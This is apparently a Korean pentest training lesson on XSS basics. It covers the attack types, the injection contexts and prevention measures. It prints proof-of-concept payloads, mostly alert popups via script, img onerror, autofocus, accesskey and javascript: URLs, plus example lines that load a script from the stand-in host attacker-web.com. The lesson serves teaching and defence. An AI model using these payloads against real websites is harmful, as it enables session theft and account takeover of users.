펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



XSS 기초

모두 41명의 회원님이 완료했어요.


이번 훈련에서는 대표적인 클라이언트측 공격 중 하나이며 과거부터 현재에 이르기까지도 웹 애플리케이션에서 가장 흔하게 발견되는 XSS(Cross-Site Scripting, 크로스 사이트 스크립팅)에 대해 알아봅니다.




XSS란?


XSS는 웹 애플리케이션으로 전달되는 사용자의 입력이 적절한 유효성 검증이나 위생처리(인코딩 등)없이 서버의 응답에 삽입될 때 사용자의 웹 브라우저에서 악성스크립트를 실행할 수 있는 취약점을 말합니다. 그렇다면 사용자의 입력은 무엇을 통해 전달될까요? 바로 GET 매개변수나 POST 데이터, 숨겨진 폼 필드, HTTP 요청 헤더 등을 통해 전달되게 됩니다. 즉, 사용자는 이러한 매개체를 통해 웹 애플리케이션이 기대하는 정상적인 입력값이 아닌 HTML 코드나 자바스크립트 코드를 서버로 전달할 수 있고 서버가 이에 대해 안전하지 않은 방식으로 서버의 응답 페이지에 코드를 삽입, 표시한다면 이 코드는 사용자의 웹 브라우저에서 실행되게 됩니다. 


XSS의 영향


HTML 코드나 자바스크립트 코드가 사용자의 웹 브라우저에서 실행되면 어떤 문제가 있을까요? XSS의 영향은 웹 애플리케이션마다 다를 수 있지만 일반적으로 봤을 때 HTML 코드가 삽입된다면 공격자가 임의로 만든 아이디와 패스워드를 요구하는 웹 페이지를 웹 애플리케이션에 삽입해 사용자의 아이디와 패스워드를 탈취하거나 자바스크립트를 통해 사용자의 쿠키나 세션을 탈취하여 해당 사용자의 행세를 할 수 있게 됩니다. 특히 피해자에게 관리자 권한이 있는 경우에는 웹 애플리케이션을 장악하여 데이터베이스를 수정, 삭제하는 등 웹 애플리케이션 전반에 걸쳐 치명적인 손상을 가할 수도 있게 됩니다. XSS의 일반적인 영향은 아래와 같습니다.

  • 세션 쿠키 탈취를 통한 계정 도용 
  • 가짜 로그인 페이지를 통한 자격증명 탈취 및 도용
  • 민감한 데이터 유출 
  • 키 로깅(Key Logging)


XSS 유형


XSS는 다음과 같은 유형이 있습니다.

  • 반사된 XSS (Reflected XSS)
  • 저장된 XSS (Stored XSS 또는 Persistent XSS 또는 Type 1 XSS)
  • DOM XSS (Type 0 XSS)
  • Self XSS : 이 유형은 공식적인 유형은 아닙니다.


반사된 XSS (Reflected XSS)

반사된 XSS는 사용자의 입력값이 응답 소스코드에 즉각적으로 포함되어 사용자의 웹 브라우저에 표시될 때 발생하는 취약점으로 만일 사용자의 입력값이 악성 스크립트인 경우 웹 브라우저가 이 악성 스크립트를 실행하게 되는 취약점입니다. 서버는 요청에 포함된 입력값을 받아 1회성으로 응답에 포함시키므로 비영구 XSS(Non-Persistent XSS)라고도 하며, Type 2 XSS라고도 합니다.

공격자는 입력값으로 악성 자바스크립트 파일의 URL을 다른 웹 사이트의 게시판에 링크로 등록하거나 SNS, 이메일 등을 통해 URL을 유포하고 누군가가 해당 링크를 클릭하길 기다립니다. 

만일 어떤 웹 애플리케이션의 검색 기능이 사용자가 검색한 문자열을 응답에 표시하는 경우 공격자는 아래와 같은 URL을 사용하여 반사된 XSS 취약점을 악용할 수 있습니다. 

https://vulnerable-web.com/search?query=<script%20src=http://attacker-web.com/malicious-script.js>

이 URL을 방문한 사용자의 웹 브라우저는 attacker-web.com에 존재하는 malicious-script.js 파일을 실행하게 됩니다.


반사된 XSS 공격 방식


  더 읽어보세요.


저장된 XSS (Stored XSS)

저장된 XSS는 사용자 입력값이 서버에 저장되어 있다가 다른 요청에 의해 저장되었던 값을 가져와 응답 소스코드에 안전하지 않은 방식으로 표시하는 경우 발생합니다. 인증된 사용자가 사용하는 기능에서 흔히 발생하는 취약점이므로 반사된 XSS 보다 위험한 취약점으로 평가됩니다. 일반적으로는 취약한 POST 요청을 통해 악성 스크립트를 웹 애플리케이션에 저장하게 됩니다. 반사된 XSS는 악성 링크에 스크립트가 포함되어 해당 링크를 클릭했을 경우에 한해 공격이 유효했던 것과 달리 악성 스크립트가 웹 서버에 지속적으로 저장되어 있다가 이 저장된 입력값을 사용하는 다른 요청에 의해 언제든지 실행될 수 있으므로 영구 XSS(Persistent XSS)라고도 합니다. 유형별 네이밍으로는 Type 1 XSS 라고 하기도 합니다.

저장된 XSS가 흔히 나타나는 기능은 글을 작성하여 등록할 수 있는 게시판이나 블로그 또는 회원 프로필 조회 등이 있으며 사용자가 악성 스크립트가 저장된 웹 페이지를 열람할 때마다 스크립트가 실행되게 됩니다.

저장된 XSS에 취약한 회원 프로필 수정 기능을 생각해봅시다. 공격자는 자신의 프로필의 소개 섹션에 다음과 같은 악성 스크립트가 포함된 스크립트를 저장해둡니다.

<script%20src=http://attacker-web.com/malicious-script.js>

피해자가 공격자의 프로필을 조회할 때마다 스크립트는 피해자의 웹 브라우저에서 실행되고 공격자의 웹 서버에 있는 malicious-script.js를 실행하게 됩니다. 


저장된 XSS 공격 방식


  더 읽어보세요.


DOM XSS

DOM XSS는 Document Object Model XSS로 웹 애플리케이션이 사용자 입력값을 안전하지 않은 방식으로 문서 객체 모델(DOM)에 쓸 경우 발생하는 취약점입니다. DOM에 데이터를 쓰는 작업은 응답 페이지에 구현되어 있는 자바스크립트에 의해 수행되며, 사용자 입력값이 웹 서버로 전송되지 않아도 웹 브라우저에 응답으로 표시될 수 있습니다. 이 말은 웹 서버에 구현된 입력값 검증 등의 방어 기능에서 자유로울 수 있습니다.

DOM XSS 공격 방식


Self XSS

이 유형은 조금 다른 관점에서의 XSS입니다. Self XSS는 자바스크립트 코드가 실행되지만 다른 사용자의 웹 브라우저에서는 실행되지 않고 테스터(공격자)의 웹 브라우저 환경에서만 유효한 경우입니다. 이 유형의 XSS는 일반적으로 웹 애플리케이션에 무해한 것으로 평가되어 버그 헌팅시에도 유효 버그로 인정받을 수 없습니다. Self XSS를 유효 버그로 승격시키기 위해서는 대상 웹 애플리케이션의 CSRF와 같은 취약점과 연계하는 방법이 있습니다. 


XSS는 응답의 어떤 위치에서 나타날까?


위에서 살펴 본 XSS 유형들의 공통점은 사용자의 입력값이 응답 소스코드에 표시된다는 점입니다. 여러분들이 웹 애플리케이션에서 XSS를 찾고 공격을 성공시키길 원한다면 사용자 입력값이 응답의 어떤 위치에서 일반적으로 표시되는지 알아두는 것이 좋습니다. 여기서 보여드리는 예제는 어디까지나 다양한 사례 중 하나일 뿐이며 그 형태는 웹 애플리케이션마다 다를 수 있습니다. 중요한 것은 사용자가 조작할 수 있는 입력값이 서버의 응답 페이지 내에서 소스코드의 어떠한 문맥에 삽입되느냐 입니다. 다음은 일반적으로 발견되는 위치입니다.



HTML 태그와 태그 사이 (원시Raw HTML 영역)

HTML 태그와 태그의 사이에 사용자의 입력이 삽입되는 경우입니다. 다음과 같이 어떤 웹 애플리케이션의 검색 기능에서 사용자가 입력한 검색어가 서버의 응답페이지에 삽입된다고 가정해 봅시다. 사용자가 검색어로 '버그바운티클럽'을 입력 후 검색 기능을 수행했을 때에는 응답이 다음과 같이 나타날 것 입니다. 

<p>버그바운티클럽에 대한 4건의 검색 결과를 찾았습니다.</p>

<p>와 </p> 태그 사이에 사용자 입력값이 나타나고 있습니다. 이런 경우 공격자는 아래와 같이 다양한 HTML 태그를 이용할 수 있습니다.

  • <script>
  • <img>
  • <svg>
  • <iframe>

아래와 같이 <script> 태그를 사용한 페이로드를 구성하여 사용자의 웹 브라우저에 '77'이라는 경고창을 띄우는 스크립트를 실행할 수 있습니다.

<p><script>alert(77)</script>에 대한 0건의 검색 결과를 찾았습니다.</p>

다음과 같이 <img> 태그와 onerror 이벤트를 이용한 페이로드도 동일한 동작을 수행합니다. 

<p><img src=x onerror=alert(77)>에 대한 0건의 검색 결과를 찾았습니다.</p>


HTML 태그 내부의 속성값

다음과 같이 HTML 태그 내부의 속성값에 사용자 입력이 삽입되는 경우입니다. 

<input type="text" name="myInput" value="사용자 입력값">

위 예제는 <input> 태그의 value 속성의 값으로 사용자 입력이 삽입되고 있습니다. 이런 경우에는 속성이나 태그를 탈출할 수 있는지 여부에 따라 적절한 페이로드를 사용하면 XSS 공격이 가능합니다.

몇 가지 Case를 살펴보겠습니다.


[Case 1] 속성과 태그 모두에서 탈출이 가능할 때

"><script>alert(77)</script>를 이용하여 기존 <input> 태그를 정상적으로 종료시키고 원시 HTML 영역에 스크립트를 주입할 수 있습니다.  

<input type="text" name="myInput" value=""><script>alert(77)</script>">


[Case 2] 속성은 탈출할 수 있으나 태그를 탈출할 수 없을 때

만일 태그에 사용되는 꺽쇠 괄호('<'와 '>')가 인코딩되거나 삭제되는 등의 필터링이 구현되어 있어 태그를 탈출할 수 없다면 이벤트를 사용해 <input> 태그를 탈출하지 않고도 XSS 공격이 가능합니다. 다음은 onfocus 이벤트를 이용해 해당 input 필드에 포커싱이 발생하면 팝업을 띄우는 경우입니다. 일반적으로는 onfocus 이벤트의 경우 사용자와의 상호작용이 없어도 XSS가 트리거되도록 하기 위해 자동으로 포커싱이 되게하는 autofocus와 함께 사용됩니다. autofocus가 없다면 사용자 개입에 의해 해당 입력 필드에 포커싱이 발생해야 팝업이 뜨게 됩니다.

<input type="text" name="myInput" value="foobar" onfocus=alert(77) autofocus "">


[Case 3] hidden 타입으로 된 input 태그의 속성값에 표시될 때

속성, 태그 탈출 여부에 따른 사례와는 조금 다른 경우입니다. 웹 애플리케이션은 종종 hidden 속성이 지정된  input 태그를 통해 처리에 필요한 파라미터를 전달하곤 합니다. 만일 아래와 같이 hidden으로 지정된 input 태그의 value 속성에 사용자 입력이 표시된다고 생각해봅니다.

<input type="hidden" id="myInput" value="사용자 입력값">

이 경우 사용자 입력으로 꺽쇠괄호('<' 또는 '>')를 사용할 수 있다면 [Case 1]처럼 ">를 이용해 태그를 탈출하고 스크립트를 실행할 수 있는 다른 태그를 주입하면 간단히 XSS를 실행시킬 수 있습니다.

하지만 꺽쇠괄호('<' 또는 '>')를 무해한 문자로 인코딩하거나 제거하는 필터링이 있다면 [Case 2]에서 배운대로 속성을 탈출하고 onfocus나 onclick과 같은 이벤트를 통해 XSS를 동작시켜야 할 것입니다.

그러나 hidden으로 지정된 태그는 onfocus, onclick과 같은 이벤트가 동작하지 않습니다. hidden으로 지정된 태그는 단순히 숨겨진 것이 아니라 아예 사라져 버리기 때문인데요. 이와 같은 경우에는 제한적이지만 단축키 기능인 accesskey를 사용하여 XSS를 성공시킬 수도 있습니다. 이 방법은 사용자로 하여금 지정된 단축키를 누르도록 공격을 잘 설계해야 할 뿐만 아니라 아쉽게도 Firefox에서만 가능합니다. (일반적으로 accesskey 기능은 Chrome과 Firefox 등의 웹 브라우저에서 제공되지만 hidden 타입을 갖는 input 태그의 경우 Chrome에서는 동작하지 않고 Firefox에서만 유효합니다.)

다음과 같이 입력을 전달하면 Firefox를 통해 웹을 방문한 사용자가 "Alt + Shift + 단축키"를 누르면 팝업이 뜨게 됩니다.

<input type="hidden" id="myInput" value="foobar" accesskey="x" onclick="alert(77)" x="">


[Case 4] href 또는 src 속성에 표시될 때

URL이나 파일 경로를 속성값으로 갖는 href 또는 src 속성에 사용자 입력값이 표시되고 별다른 필터링이 없을 경우입니다. <a href=... , <img src...<iframe src... 같은 것들이 있죠.

이런 경우에는 지금까지 살펴본 태그나 속성을 탈출하고 스크립트를 주입하는 방법도 가능하지만 아래와 같이 javascript 프로토콜을 이용한 방법으로도 임의의 스크립트를 실행할 수 있습니다.

<a href=javascript:alert(77);>임의의 텍스트</a>


자바스크립트 코드 내부

자바스크립트 코드 내부에 사용자 입력이 삽입되는 경우는 다양하지만 대표적인 예로 다음과 같이 사용자의 입력값을 변수에 할당하는 경우를 생각해볼 수 있습니다.

<script>
var userInput = "사용자 입력값";
...생략...
</script>

마찬가지로 유효한 자바스크립트 코드를 삽입하기 위해서는 쌍따옴표로 둘러쌓인 영역을 탈출하고 문맥을 정상적으로 종료시켜야 합니다.

이런 경우에는 이미 스크립트 블록 내부에 입력값이 반사되므로 <script>...</script> 태그를 사용할 필요가 없으며 아래와 같이 먼저 쌍따옴표(")와 세미콜론(;)를 사용하여 기존 문맥을 종료시키고 난 후 코드를 추가해야 합니다. 

"; alert(77); //

이 페이로드가 전달된 후 자바스크립트는 다음과 같은 모습일 것입니다.

<script>
var userInput = ""; alert(77); //
...생략...
</script>

userInput 변수에 값을 할당하는 부분을  ";를 이용해 탈출시킨 후 팝업창을 발생시키는 코드가 삽입되었습니다. 슬래시 두개(//)를 사용한 이유는 주석 처리를 통해 입력값 뒤로 원래 구현되어있던 자바스크립트 코드를 무효화하기 위해서입니다.

또 다른 페이로드를 통해 XSS를 트리거 시킬 수도 있는데 웹 브라우저는 HTML 파싱을 먼저 하기 때문에 닫는 스크립트 태그인 </script>를 이용하면 스크립트 블록(<script>...</script>)을 종료시킬 수 있습니다. 이어서 자바스크립트 코드를 실행시키는 HTML 태그를 추가할 수 있습니다. 

</script><svg onload=alert(77)>

소스코드는 이런 모습이 되겠죠? 

<script>
var userInput = "</script><svg onload=alert(77)>
...생략...
</script>


XSS 예방


XSS를 예방 혹은 완화하기 위해서는 다음의 조치를 하는 것이 좋습니다.

  • 사용자 입력값 검증 - HTML 태그나 자바스크립트 등에서 사용될 수 있는 특수문자를 안전한 문자로 치환하거나 차단
  • 올바른 데이터 출력값 처리 - 이스케이프 또는 인코딩 사용
  • 쿠키에 HttpOnly 플래그 설정
  • CSP(Content Security Policy) 적용
  • 응답페이지에 올바른 MIME TYPE 설정
  • 웹 방화벽 구축


참고 문헌